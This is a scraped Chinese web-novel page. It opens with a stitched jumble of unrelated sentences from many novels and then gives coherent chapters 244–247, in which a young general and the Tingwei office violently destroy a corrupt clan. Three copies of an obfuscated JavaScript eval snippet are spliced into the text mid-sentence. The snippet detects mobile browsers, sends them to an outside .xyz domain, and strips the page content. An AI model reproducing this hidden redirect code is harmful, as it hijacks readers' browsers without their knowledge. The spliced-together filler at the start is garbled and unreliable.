心想带着佐助见见大场面也好,宇智波富岳想一下,最后决定道。 一千万张起爆符**,整座角岛大桥都会化成灰烬,而他和鼬现在在桥中间位置,想要离开已是不可能。 “给我闪开!”艾莫忽然大河一声,身上的红光闪过,脚下瞬间就出现了一片的红色区域,在这个时候他居然使用了领域来缓解自身的危机。 磁悬浮跑车停在了山间木屋外,而中分男子以及谢婉儿已经在外面迎接着援助的到来,这可是王国那边派来的人,必须十分恭敬才是。 当雾隐村忍者大军和天隐村忍者们再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163828|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次对垒时,这也意味着这片区域将再次遭殃。 白雾里面,见到迈特凯愤怒的样子,再不斩阴笑一声,身影再次消失,他的屠戮,才刚刚开始。 而李三欲并没有给黄云飞太多的意外与惊喜,还是那种孩子气,和一种让人无法察觉的睿智,说白了就是那种大智若愚的马大哈,不过却粗中有细,乱来的人总是给人带来意想不到的惊喜。 也不知道照美冥笑什么,想到照美冥肯定是因为自己上次放过她,所以这次她才出手救自己,佐助原本还想寒暄几句,却是被照美冥打断。 王妈眼看孩子如此的可爱壮实,也就没有忍心下手,就倒立了一下就交给雪梅,自己出来报喜来了。 那个在离宫内刺杀太子的魔门玄力者叫做裘赤川,是一个在嘉靖年间就闻名瑕尔的玄力者,被萧道陵的师父降伏后,以咒印术封入了天火之门。 李杰说完这句话觉得有点怪怪的,住在这家里的人好像都和变异了差不多。 第一卷 第242章 金银可通神! 贝吉塔的能量弹吞噬了比克的身体强光过后比克身上已经没有一块好肉。 “简直就是胡闹!怎么会有这么一个不懂规矩的混蛋!”刘伟杰彻底挂不住了面子毫不掩饰的放声斥责。 “可是既然要训练我们对付那些怪物那训练我们好了为什么还要死那么多人?”苏倩倩忍不住说道。 秦翎精神一振下意识地停下了身形让月轮托着他凌空而立。独孤士同样也停了下来。 他也明白过来**只不过是想要杀了自己夺取钱财根本没有他说的有意思的地方林炎只好又找了另外的一家客栈住下。 战斗一触即发没有退路沐春为了父亲也要殊死一搏况且他也没觉得自己会输。 白俊雅显然事先做了一番精心的准备一席话说下来让众人措手不及又想不出该怎么反驳。 难怪自己在这里还没有任何的征兆被元素大军占领后连个报信的人说不定都逃不出来。 却见万仙已然变了模样四象相合现出铜墙铁壁坚固异常更有万千煞神伺机而动这边紫光等人见击飞了太极图当下是卯足了力量直接向下方的一众截教弟子撞去。 方白石怒气冲冲地走出百味楼夜风一吹这才感觉气消了一些。他实在有些不解为何曹义不肯说出这个秘密。即使他已经晓以利害曹义仍然不动心。 目光掠过虚空望着阴无涯有恃无恐的神情不等雪冰凌回答 云夜皇的神血和慕清浅的人血竟然结合出了传说中的灵娃这是君紫幽无论如何都没有想到的事。 道缘心道原来肖家主布置的这个结界是单向的里面可以听见外面的声音外面却无法听见里面说话。 可是这个势力看起来只是一个经营着苦海交通的势力就算是双方交战也不应该对这样的势力动手吧难不成还有什么其他的原因么? 雷落的眼泪立刻就下来了喉咙一阵发堵但他也知道自己虽然名义上比道缘境界高但真要出手自己可差了不少。 同样抱拳回了一礼但血峰主的话语却是将众人拒之在了百丈之外。 片刻后光柱收敛慢慢落下来而那些晶石的颜色却 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 发生了改变,互换了位置。 云峰是灵气最浓郁的地方,也是水天交接之地,这里的日月精华,很浓郁。 “艹,你敢威胁我?我唐彪是吓大的吗?你爱咋的咋的吧。”说完唐彪气呼呼地挂断了手机。 “现在唯一的证人余恒已死,至少目前为止,我们是拿他们没办法了!”左心远长叹一声,声音里满是不甘。 一转眼,半个月的时间过去了,这段时间**来过古玩店几次,她也试着跟火炎解释过,可是火炎根本就没有理会过周婷。 武将有冀州大都督赵云,龙骧营校尉典韦,虎翼营校尉王双,再加上先登营校尉麴义。 每年经常把西川人和外乡人杀掉来祭祀。如果有人患病,不允许用药,只是祈祷巫师,名叫“药鬼”。 其中奴仆就是奴隶,被白森签订了强制契约的一类人,这类人无法反抗白森的任何命令,没有丝毫的**,就连**都不可能。 一个宏大的意识在张元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163829|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昊识海之中荡漾,仿佛是在对万事万物发声,令人心情不由宁静下来。 这次,来到天河城的丹门中人一共五位,皆都是年轻弟子,二十四五岁的模样。 城池的外围的城墙,基本上已经倒塌毁坏,住家屋舍也没剩下几间完好无损的。 淡淡月光透过树林缝隙斜斜洒落,如黯淡的星光般,丝丝点点洒落在地,看上去异常诡谲妖迷。 随着等级的提升,白森的全属性全部提升一点,他的实力也更进一步了。 这是远古三大神术之一的大杀招,是谁创造的已经无从考究,只知它十分强大,在神灵手中施展,可以瞬间秒掉数片星域。 跌倒,爬起来!扛起这坨一百五十多公斤的“硬泥”往前冲出几步。 要是在之前,以苏佳雪的实力,他敢肯定,得到一个名额,并不是太难。 燕离歌看到如今的反应,自然也是一眼就能看出来自家父皇当真是心虚了,谢家老侯爷刚才所说的那一堆话,原来并不是什么信口雌黄之言,而是事实就真的是这般模样。 他顺着看过去,见屋内一灯如豆,静静燃烧。榻上,云潋揽着熟睡的人,竖起手指,对他比了一个噤声的手势。 **所形成的烟尘扩散,阻挡住了双方的视线,然而藤丸立花分明能够听到那个熟悉的声音。 “我……我……”泰山结巴的说不出话来,心里委屈,明明你让我来暴打梵天,什么时候变成了切磋了,难道是我训练过度,出现了幻听? 车子进入机场的这段时间里,张斗天始终是闭幕眼神,并没有急切问琪琪有关梵天的消息。 第一卷 第243章 恶名昭著李四爷! 李青渊的目光如同淬了毒的钩子,死死钉在凌川脸上,等待着他的反应。 大同街是离水城最繁华的一条街,好多商铺里面,甚至还逗留着不少洋人。 似乎回忆起当年的盛况,哈里发忍不住摸了摸自己的胳膊,他一想起那些不可理喻的宗教疯子们就有些哆嗦。 晃晃悠悠重新直起身体的巨**,虽然还在吐着蛇信,可却发出人言,加上那蛇瞳中一圈圈的水纹状,明显这货还在晕眩之中,可依然用一副趾高气昂的语气自报家门,这一幕叫陈进简直有些啼笑皆非的感觉。 原本那两名激活黄光的天才还傲然无比,此刻在苏晨金光的照耀下俱是目瞪口呆。 东华**一时间乐极生悲,一脸悲愤的看着太玄,双眸中满满地都是痛苦之色,就算是远处观战的众人都可以深切的感受到他身上所流露出的悲伤。 因为云昊根本就不忍心打赵雅,虽然这雪球打在身上根本就不痛。 尤其是赵云,明明曾经是和诸葛亮一个战场之中出来的,现在为何站在了别人哪一边。 虽然千年前,凌天已经完成了自己的考核,但是如今自己重新证道,算是两次证帝,也理应参加考核。 “此子,不能留!”帝无双的眼中,闪过了一道森然的杀机,胸口起伏不定,就是冷冷开口道。 “嘭!”一辆大卡车避之不及直接撞在另一辆卡车上。被撞的那辆车整个车头都变形了,里面卡了一家三口怎么也出不来。 一路去了流沙河,唤沙和尚出来后,沙和尚一见菩萨,立马激动起来。 等会议室中的众人的注意力再次集中在全息屏幕中的全明星赛上。 张梓彤嘴上说着,脸红的都要滴水,似乎很紧张,不过他却将自己身体紧紧靠在林羽身上,似乎害怕和林羽分开。 这尼玛,这么狠的嘛?吓得他一坨鼻涕不知不觉的就吊在了嘴唇上方。 那金龙间还有红色的绣痕,宛若是巨龙也染了喜庆之色,衬得一向一丝不苟的帝懿,神色间也有一分柔和。 铁骑还从来没对哪一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163830|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男性这么亲切过,所以一时还有些不适应。 现在匈奴在杨玄墨不断的强势打压之下以见支离破碎的状态,几年时间损失数十万大军,**成数个势力,鲜卑,乌桓、氐族、羌人相继崛起于西北和漠北草原。 当然,这浓情的一幕让从厨房出来的杨宜受到了重击,她没好气的把一盘切好的水果放在桌上,两手叉腰盯着面前的二人。 “我还遇到一些男人,他们真的单纯地想为我赎身,与我相敬相爱一生。 “老师,远古的人,涂口红以示生殖能力强,来吸引异性择偶,可是,那现代的人,为什么还要涂口红呢?”一个学生,终是忍不住问道。 半年来,凯思琳和她爸,一直想方设法与赫斯特周旋,只是,对方背后有异能者相助,她跟她爸,实在不是对手。 而且韩青也有提到,这几个星辰级的家伙实力很差,像是被硬拔上来。 叶子晨心中估计是会给它砍破的,可看到贝力那自信的模样,他也想看看这种矿石能够给他带来的惊喜。 第244章 李家的帐,该清算了! “说你们是畜生?那都是对天地间生灵的侮辱!畜生尚且知舐犊情深、护佑同族!而你们……” 凌川的目光如同烧红的烙铁,狠狠盯在李玄屹那张因惊怒而扭曲的脸上: “你们只知巧取豪夺、敲骨吸髓!只知杀人放火、逼良为娼!只知将他人血肉铺作尔等登天之阶!你们的心肝,早已被权欲和贪婪蛀空,黑如墨,臭如腐!你们的存在本身,便是对这朗朗乾坤、昭昭日月最大的亵渎!” 死寂! 厅堂内一片死寂,只有凌川那雷霆万钧的怒斥在梁柱间嗡嗡回荡,震得人耳膜生疼,心胆俱裂! 李青渊脸色由铁青转为死灰,身体不受控制地微微颤抖,嘴唇哆嗦着,却一个字也吐不出来。那最后一丝试图维持体面的伪装,被凌川撕得粉碎,踩入泥泞! 李玄屹双目赤红如血,胸膛剧烈起伏,如同一头被彻底激怒、濒临疯狂的野兽! 他额角、脖颈的青筋根根暴起,牙齿咬得咯咯作响,右手已死死按在了腰间的刀柄之上! 杀意,毫不掩饰的杀意如同实质般从他体内喷薄而出! 凌川身后的苍蝇、沈珏、聂星寒三人,眼神瞬间锐利如鹰隼,肌肉紧绷,气机勃发! 苍蝇与沈珏的手无声地搭上了刀柄,聂星寒虽未动弓,但整个人的气势已如引而未发的雷霆,牢牢锁定了杀意最盛的李玄屹!只要李玄屹敢动,迎接他的将是必杀一箭! 空气仿佛凝固成了粘稠的稀泥,一根针落地的声响都足以引爆这全场杀意! 李青渊强行压下心头的怒火与担忧,再看向凌川时,眼底深处已掠过一丝难以言喻的惊悸。这一刻,他算是领教了这位少年将军的狠绝与冷酷! 然而,百年基业,阖族性命,皆系于此,他不得不再次尝试挽救,哪怕是低声下气的委曲求全,也在所不惜! “凌将军……”李青渊的声音带着沙哑的祈求,“当真……再无转圜之机?” “是你们自己,亲手堵死了所有的生路!”凌川的目光冰冷,扫过堂下面无人色的李家众人,声音不高,却彷如不容置疑的宣判: “多行不义必自毙!李家的血债,该清算了!” “凌川!你休得猖狂!”李玄屹暴跳如雷,戟指厉喝,“睁开你的狗眼看清楚!这里是李家!不是任你撒野的云州将军府!” 凌川眼皮都懒得抬一下,只冷冷抛出一句:“那我也提醒李四爷一句,这里,是云州!” 一字千钧,王土王臣的森然威压,瞬间碾碎了李玄屹那点可笑的土皇帝梦! “凌川!这是你逼我的!”李玄屹双目赤红,面容扭曲如恶鬼,“老子这就送你归西!” “老四!坐下!”李青渊须发皆张,怒喝如雷。他心如油煎,深知一旦动手,便是万劫不复! “大哥!你还看不明白吗?”李玄屹嘶声咆哮,脸上青筋如毒蛇般暴凸蠕动,“这姓凌的压根就没想给咱活路!与其跪着死,不如站着杀出一条血路!” 李青渊颓然闭目,发出一声沉重如山的叹息。凌川那斩尽杀绝的决绝,已断无更改。他缓缓抬手,又无力垂下,默许了。 李白箫与李朱炙对视一眼,皆从对方眼中看到了死水般的绝望与疯狂。李家存亡,在此一搏! “砰!” 李青渊手中茶盏狠狠掼碎在地!清脆的碎裂声如同进攻的号角! “哗啦……” 两侧屏风轰然倒塌!数十名甲胄暗藏、刀剑出鞘的李家精锐私军,如同嗜血的狼群,鱼贯涌出,瞬间封锁所有退路! “噌!噌!噌!” 一直侍立在后的数名李家供奉高手,亦如鬼魅般闪身,兵刃寒光闪烁,牢牢护在李家核心身前! 霎时间! 大堂之内,杀意横生!刀光剑影,寒芒如林!强弓劲弩,箭镞森然! 凌川五人,被层层叠叠的兵锋,死死困在中间! 方既白脸色惨白如纸,掌心、后背瞬间被冷汗浸透!他下意识地侧目望向凌川。 却见那位年轻的将军,竟依旧气定神闲,不紧不慢地端起茶盏,轻呷一口。那份泰山崩于前而色不变的从容,仿佛置身事外! 方既白心头剧震,油然升起一股难以言喻的敬畏。 此子能在关外立下赫赫战功,得陛下钦封镇北将军,绝非幸致!单是这份山岳崩于眼前而不惊的淡定与从容,天下几人能及? “凌川!”李玄屹遥指凌川,声音因亢奋与杀意而嘶哑,“最后给你一次机会!收手滚出李家!从今往后,你走你的阳关道,我过我的独木桥!否则……”他狞笑着环视四周刀兵,“今日便是你的忌日!黄泉路上,老子陪你!” 凌川终于放下茶盏,目光懒洋洋地扫过周围密不透风的杀阵,最终定格在李玄屹那张因疯狂而扭曲的脸上,唇角勾起一抹近乎怜悯的讥诮: “你话太多了!”他声音平淡,却清晰地传入每个人耳中,“既如此急着投胎……我成全你。” “哈!哈哈哈哈……”李玄屹仿佛听到了天大的笑话,仰天狂笑,“死到临头还嘴硬!老子倒要看看,你这砧板上的鱼肉,哪来的底……” “噗嗤……” 一声极其轻微、却令人毛骨悚然的利物洞穿血肉骨骼的闷响,骤然打断了他狂妄的笑声! 一支乌沉沉的铁箭,毫无征兆地自凌川身后激射而出!精准地贯穿了李玄屹大张的口腔!带血的箭镞裹挟着碎骨与脑浆,自其后脑猛然穿出! 李玄屹狂笑的表情瞬间凝固!双目暴凸,瞳孔中塞满了极致的惊骇与难以置信!鲜血如泉,自其口腔和后脑的恐怖创口汹涌喷溅! 他那魁梧的身躯,如同被抽掉了骨头的麻袋,轰然栽倒在地!抽搐两下,再无声息! 死寂! 绝对的死寂! 时间仿佛在这一刻彻底凝固! 堂内堂外,李家上下数百人,无论是核心嫡系、供奉高手、精锐私军,还是堂外的旁系子弟皆如遭雷击,僵立当场!每个人的脸上,都只剩下无边的震骇与空白! 快!太快了! 狠!太狠了! 第245章 其罪滔天,祸及宗族! 谁也没想到,凌川竟真敢在重重围困中,悍然先下杀手!更没想到,那夺命一箭,竟快到连供奉高手都来不及反应! 那三角眼中年供奉,瞳孔缩成针尖,一股寒气从脚底直冲天灵盖!他昨日已警示众人凌川身边有聂氏后人,方才众人更是死死盯住聂星寒! 然而…… 依旧防不住那索命一击!弯弓、搭箭、毙命,一气呵成,快逾闪电! 就在李家私军忍不住要出手之时,聂星寒再次弯弓搭箭。 这一次,三支闪烁着死亡寒光的铁箭,稳稳搭在弦上,箭簇所指,令人头皮发麻! “唰!唰!” 苍蝇与沈珏同时暴起!左手精巧的匣弩已机括张开,右手雪亮战刀悍然出鞘!凛冽的杀气混合着刀刃的寒芒,如同实质般席卷开来! 唯有凌川,依旧安坐如山。 他仿佛只是掸去了一点微不足道的尘埃,缓缓侧首,对身旁脸色惨白、犹自惊魂未定的方既白,用清晰而平静的声音询问道: “方大人,李家罪证如山,罄竹难书。依《大周律》,谋刺上官、屠戮良善、逼良为娼、虐杀妇孺、鲸吞田产、伪造官凭……条条皆属十恶不赦,罪不容诛!该当……如何处置?” 这平静的询问,却如同催命的丧钟,重重敲响在每一个李家之人的心头! 方既白深吸一口气,正了正管帽,沉声说道: “依《大周律·名例律》李家所犯:一为谋杀朝廷武将!二为屠杀无辜百姓!三为逼良为娼!四为鲸吞田产!五为勾结官吏,伪造官凭!” 方既白每念一条,声音便拔高一分,胸膛剧烈起伏,仿佛要将李家桩桩件件的罪恶钉死在律法的耻辱柱上: “此五条罪状,条条触犯‘十恶’重罪!罪在不赦!遇赦不原!” 他深吸一口气,那口气仿佛抽干了他最后一丝力气,但眼神却亮得骇人,用尽生命最后的呐喊,吼出了最终的裁决: “主犯!斩立决!” “从犯视其罪责,绞、斩、流、徒!” “其罪滔天,祸及宗族!” “家产尽数抄没,充入国库!” “以儆效尤!以正国法!以慰冤魂!” 最后四个字‘以慰冤魂’方既白几乎是泣血般吼出。 言罢,他仿佛被抽空了所有力气,身体一软,瘫坐回椅子上大口喘息着! 方既白的反应之所以这么大,一方面是因为李家的滔天罪恶令人发指,另一方面则是,他做出这番裁定,也就意味着,他彻底站在凌川这边,终有一天,这把刀会指向自己的家族。 至于李家一众嫡系,只感觉一道九天之上的惊雷,带着煌煌天威与不可抗拒的毁灭力量,轰然炸响在众人的脑海中炸响! 就在这裁决已定、人心溃散的瞬间,李青渊眼底那层伪装了许久的谦卑与温驯,如同被狂风吹散的薄雾,骤然消失无踪!取而代之的,是孤狼濒死般的狠辣与破釜沉舟的决然! “诸位!”李青渊冰冷的声音刺破压抑的空气,目光扫过那几名供奉和惶惶不安的私军!“李家锦衣玉食供奉尔等多年,今日是你们回报李家的时候了!” 他猛地踏前一步,气势陡升,带着蛊惑人心的疯狂:“束手就擒,便是引颈就戮,必死无疑!” “唯有拼死一搏!杀出一条血路!方有……一线生机!” 这番话,精准地戳中了这些爪牙心中最深的恐惧!他们与李家这头恶兽早已血脉相连,罪孽同担!这些年,谁手上没沾无辜者的血?谁又能与李家划清界限? 投降,同样是死路一条! “杀了他们!” “砰……” 几乎在李青渊话音落下的同时,一声巨响自堂外传来,让本就惊魂未定的李家众人肝胆俱裂! 只见堂外大门被暴力撞开,木屑漫天飞洒。 烟尘弥漫中! 一队队身影如同地狱涌出的幽冥,踏着门板的残骸,蜂拥而入! 所有人身着螭纹服、脚踩踏星靴、头顶垂云冠,手持螭玄刀,肃杀之气,凝如实质! 当头一人,年约四旬,面容冷峻如万载寒岩,目光锐利如鹰隼!他胸襟之上,赫然绣着一柄栩栩如生的金刀!廷尉府都统之尊,显赫昭彰! 都尉宴航,按刀紧随其后,眼神警惕地扫视全场。 能持金刀、镇北境七州者,唯有一人,那边是素有活阎罗之称的阎鹤诏! “廷尉府!”李青渊瞳孔缩如针尖,脸上血色瞬间褪尽,发出绝望而凄厉的嘶吼:“动手!快动手!杀了他们!” 生死关头,困兽犹斗! 那几名供奉眼中凶光爆射,残余的私军也被逼出了最后的凶性!他们如同被逼入绝境的狼群,嘶吼着,分成两股决死的洪流。 一股直扑凌川,刀光剑影,杀气盈野! 另一股,则是转身迎战从门外杀进来的廷尉府成员。 苍蝇与沈珏二人就要冲上去,凌川却一把拉住苍蝇,说道:“护好方大人!” 话音未落!凌川身形已动! “唰!” 他手中战刀划出一道凌厉的寒芒,精准地格开一柄劈面而来的钢刀!同时拧腰发力,一记势大力沉的侧踹,狠狠印在对方胸腹! “咔嚓!”骨裂声中,那私军如断线风筝般倒飞出去! 与此同时,聂星寒弓弦如霹雳三箭齐发,冲在最前的三名私军,咽喉瞬间被洞穿。 血箭狂飙,颓然栽倒! “哼!受死!” 阴冷的声音自身侧袭来!昨日县衙中那三角眼中年供奉,如同毒蛇出洞,手中短剑化作一点致命的寒星,直刺凌川咽喉!速度快得惊人! 凌川不退反进! “当!”战刀悍然斜撩,带着千钧之力,硬生生将对方连人带剑震退数步。 三角眼供奉心中剧震!昨日只道聂星寒箭术通神,不想这凌川自身武艺竟也如此强横。 他眼中戾气更盛!身形再晃,短剑疾舞! 刹那间,竟幻化出七八道虚实难辨的剑影,如同毒蛇吐信,笼罩凌川周身要害。 剑风嘶啸,摄人心魄! “雕虫小技!” 凌川冷哼一声,眼中闪过一丝不屑,他不退不让,一步踏前,手中战刀以力破巧,一记横扫千军般的半月斩! “嗤啦!” 漫天剑影如同泡影般应声破碎! 第246章 活阎罗! 然而! 这虚招之后,才是真正的杀招! 三角眼供奉借着剑影破碎的掩护,身体以一个极其诡异刁钻的角度扭曲前突,手中短剑如同毒龙出渊,速度再增三分。 剑尖一点寒芒,已迫近凌川咽喉不足半尺。 快!狠!毒!几乎避无可避! 千钧一发之际,凌川仿佛早有预料。 他左腿如灵蛇般闪电抬起,足尖不偏不倚,精准无比地抵在了对方持剑手臂的腋下关节处!正是旧力已尽、新力未生的发力死角! “嗯?”三角眼供奉脸色骤变,剑势被这巧妙一顶,硬生生顿住,再也无法寸进。 “咯吱……” 更让他亡魂皆冒的是,那令人头皮发麻的弓弦绞紧声,如同死神的低语,清晰地传入他耳中! 他想退! 但凌川岂会给他机会? “死!”凌川抵住其腋下的左腿猛地收回!同时,手中战刀化作一道炫目的匹练,自下而上,斜撩而出!刀光如电! “噗!” 滚烫的鲜血,如同喷泉般激射而起,甚至溅上高高的房梁! 三角眼供奉只觉得胸前一凉,随即是难以言喻的剧痛和迅速流失的生命力。 他难以置信地看着自己被一刀剖开的胸腹,那伤口自小腹一直蔓延到脖子,鲜血流淌间,他甚至能看到自己的脏腑。 他那双标志性的三角眼中,充满了极致的惊骇、不甘与对死亡的恐惧。身体踉跄后退数步,最终轰然栽倒,抽搐几下,再无生息! 另一边! 沈珏手中战刀如毒蛇吐信,眨眼间便将两名李家私军斩于倒下,眼看更多敌人悍不畏死地涌来,他果断扣动匣子弩的机括。 “咔嗒!咔嗒!咔嗒!” 三道清脆的机括声连响! 九支淬毒的短小弩矢,呈品字形,分作三轮,如同索命的毒蜂,激射而出! “噗噗噗……” 冲在最前的三名私军,应声而倒,心口瞬间被短矢贯穿! 堂外! 阎鹤诏与宴航,已率领如狼似虎的廷尉精锐杀入! 能入廷尉府者,绝非庸手! 他们不同于讲究战阵配合的边军,更擅长江湖搏杀、缉捕格斗。 刀法诡异狠辣,身法飘忽迅捷!这正是廷尉府办案的特色,广纳江湖奇人异士,应对复杂局面,与三教九龙周旋! 阎鹤诏,‘活阎罗’之名响彻北境。他能位列廷尉府九大都统之一,其自身修为深不可测,手段更是铁血无情。 只见他目光冰冷地扫过混乱的战场,如同在看一群待宰的牲畜! “杀!” 阎鹤诏的声音不高,但那仅有的一个‘杀’字却蕴含着令人心悸的威严与杀意。 随着他一声令下,玄服廷尉们如同出闸的猛虎,悍然扑入战团! 李家私军虽也算训练有素,但对上廷尉府的精锐高手和凌川身边的百战亲卫,无论是个人武艺、战斗意志还是配合默契,都相去甚远! 战斗,瞬间演变成一场冷酷而高效的绞杀! 不过几个呼吸间,场中数十名私军已折损过半!血腥味浓烈得令人作呕! 一名手持沉重环首刀的供奉,眼见同伴如同土鸡瓦狗般被屠戮,一股兔死狐悲的绝望与凶性被彻底激发。 他狂吼一声,全身劲气灌注双臂,沉重的环首刀带起凄厉的破风声,整个人如同搏命的凶兽,腾空而起,力劈华山般斩向稳立战局核心的阎鹤诏。 刀势刚猛绝伦,似要将眼前这尊‘活阎罗’一刀两断! 阎鹤诏眼皮微抬,冰冷的眸子扫过那声势骇人的一刀,嘴角竟勾起一丝极淡、极冷的讥诮。 面对这足以开碑裂石的致命一击,他身形纹丝不动,只是极其随意地将手中那柄象征着都统权威的螭玄刀,单手竖起,以古朴沉重的刀柄末端,轻描淡写地向上一点! “铛!” 一声沉闷到令人心悸的金铁交鸣炸响! 不可思议的一幕发生了! 那供奉灌注全身功力、挟下坠之势的雷霆一刀,竟被那看似轻巧的刀柄一点,硬生生定格在半空。 狂暴的劲力如同泥牛入海,消散无踪,那供奉只觉一股沛然莫御的诡异力道反震而来,虎口瞬间崩裂,双臂酸麻欲折! 就在他旧力耗尽、新力未生,心神剧震的刹那…… 阎鹤诏动了! 他一直垂在身侧的右手,食指与中指,不知何时已并拢如剑,指尖之上,竟隐隐泛起一层令人心悸的、近乎透明的惨白毫光。 不带丝毫烟火气,快逾鬼魅般,轻轻点在了那供奉的膻中穴上。 “噗!” 没有惊天动地的巨响,但那名供奉却如遭万钧雷击,双眼瞬间暴凸,布满血丝。 一口混杂着内脏碎块的滚烫鲜血,如同喷泉般狂喷而出,他整个人如同被无形的巨锤狠狠砸中,身体如同断了线的破败风筝般,以比扑来时更快的速度倒射而回。 “轰隆!” 供奉魁梧的身躯重重砸在厅堂的立柱之上,震得梁上灰尘簌簌落下。 他瘫软在地,口鼻之中鲜血如同小溪般汩汩涌出,胸前衣衫尽碎,露出一个紫黑色的恐怖指印。 全身骨骼仿佛寸寸碎裂,经脉之中,仿佛有一头凶兽正疯狂肆虐,吞噬着他残存的生机! “判,判官指……”供奉瞳孔涣散,脸上充满了无边的恐惧与绝望,艰难地吐出几个模糊的音节。 他终于想起了那个令北境江湖闻之色变的恐怖传闻! 说活阎罗有三大绝技,一眼辨善恶,一指判阴阳,一刀断生死! 一眼辨善恶,是说他识人极准,往往能一眼看透别人的心思,无论是城府极深的官场老油子,还是那些训练有素的谍子杀手,极少有人能在他面前保持镇定。 一指判阴阳,说的是阎鹤诏修有一门霸道而诡异的指法,名为判官指,往往只需一指,便可重创对手,令其筋脉尽断,如判官勾销阳寿。 至于一刀断生死,则是说他手中的阎罗刀,据说,他刀法极快,但绝不轻易出刀,一旦出刀便是生死一刀。 截至目前,见过他出刀之后,还能从他的刀下活下来的人,不超过五指之数。 而且,据说阎鹤诏有一个规矩,那就是无论对手犯多大的罪,只要能接他一刀不死,他可得三日喘息之机,三日之后再下令追捕。 此等人物,本应坐镇神都,震慑宵小。却因性情刚直,执法如山,触怒权贵,被远放苦寒北疆。 当然,这其中不排除有皇帝陛下借其锋芒,将阎鹤诏放在这北疆制衡卢恽筹之意。 这名供奉,本身亦是江湖一流好手,虽不足以开宗立派,但也绝不是无名之辈。 可惜,他今日撞上的是真正的‘活阎罗’!生机正如决堤的江河,不可逆转地飞速流逝。 第247章 不负盛名! 堂内另一侧! 凌川与沈珏并肩而立,两柄长刀之上鲜血飞洒,扑上来的李家私军,如同扑火的飞蛾,不断在刀锋下溅血倒地。 眨眼间,两人脚下已伏尸十数具,鲜血汇聚成溪。 独自立于稍远处的聂星寒,面色冷峻如古潭幽水。 他手中铁胎弓弦鸣不绝,箭壶中三十支夺命铁箭,如同长了眼睛的死神之吻,顷刻间,箭壶之中已然是空空如也,几乎每一支箭矢离弦,必有一名敌人被射杀! 箭尽! 聂星寒毫不犹豫,反手探向腰间,‘锵啷’一声,苍生刀已然出鞘,他就要提刀扑入战团。 “你护着方大人!我去!”一声低喝传来。 苍蝇早已洞察其意,一把拉住聂星寒,话音未落,苍蝇携着冰冷杀气,扑向敌群,刀光起处,血浪翻腾! 聂星寒持刀的手微微一滞,看着苍蝇冲杀的背影,那双深邃的眼眸中,闪过一丝不易察觉的无奈。 死字营的老兄弟们,皆知他聂星寒箭术通神,听风辩位独步天下,战场上几乎从未拔刀近战。久而久之,众人皆以为他精于远攻而疏于近搏。 殊不知…… 他聂星寒的刀法,得自隐秘传承,路数刁钻诡谲,狠辣异常!虽锋芒内敛,不似箭术那般出神入化,但其凶险致命之处,绝非寻常江湖高手所能匹敌。 杀戮的喧嚣渐渐止息,空气中弥漫着浓得化不开的血腥味。宴航率领的廷尉府精锐如同冰冷的剃刀,已将李家私军最后的抵抗彻底碾碎。 不过片刻,偌大的正堂已是一片狼藉与死寂。残存的李家核心,仅余家主李青渊、老二李白箫、老三李朱炙,以及几名面无人色、抖如筛糠的年轻嫡系子弟。 那些豢养的爪牙,无论是数量众多的私军,还是重金聘请的四名供奉高手已然伏尸遍地。 聂星寒箭无虚发,一人便了结了一名供奉。 阎鹤诏一指判阴阳,瞬杀一人。 凌川刀锋饮血,亲手斩杀一人。 最后一名供奉,则在凌川与苍蝇的联手夹击下毙命。 打斗声停歇的刹那,残存的李家众人,脸上最后一丝血色也彻底褪尽,只剩下无边的绝望与死灰般的木然。 宴航踏过血泊,走到凌川面前,脸上带着一丝由衷的钦佩与后怕:“凌将军当真是胆魄无双!仅带数人便敢直入这龙潭虎穴,宴某佩服!” 凌川抹去溅在脸上的血点,苦笑摇头:“宴大人莫要取笑了,若非诸位及时神兵天降,此刻……怕是只能劳烦诸位替凌某收殓尸骨了!” 言罢,凌川快步走到阎鹤诏面前,抱拳躬身:“末将凌川,参见阎都统!” 阎鹤诏那仿佛能洞穿人心的目光,如同两口深不见底的寒潭,缓缓落在凌川身上。 刹那间,凌川只觉一股渊渟岳峙般的无形威压笼罩全身,呼吸都为之一窒! 好在,这令人心悸的压力只持续了一瞬,便如同潮水般退去。阎鹤诏微微颔首,冰冷的面容上,难得地露出一丝几不可察的波动: “嗯!年少有为,不负盛名!” 这简短的八字评价,分量极重,毕竟这八字评语出自他阎鹤诏之后。 眼看李家核心尽数被制,大局似乎已定。 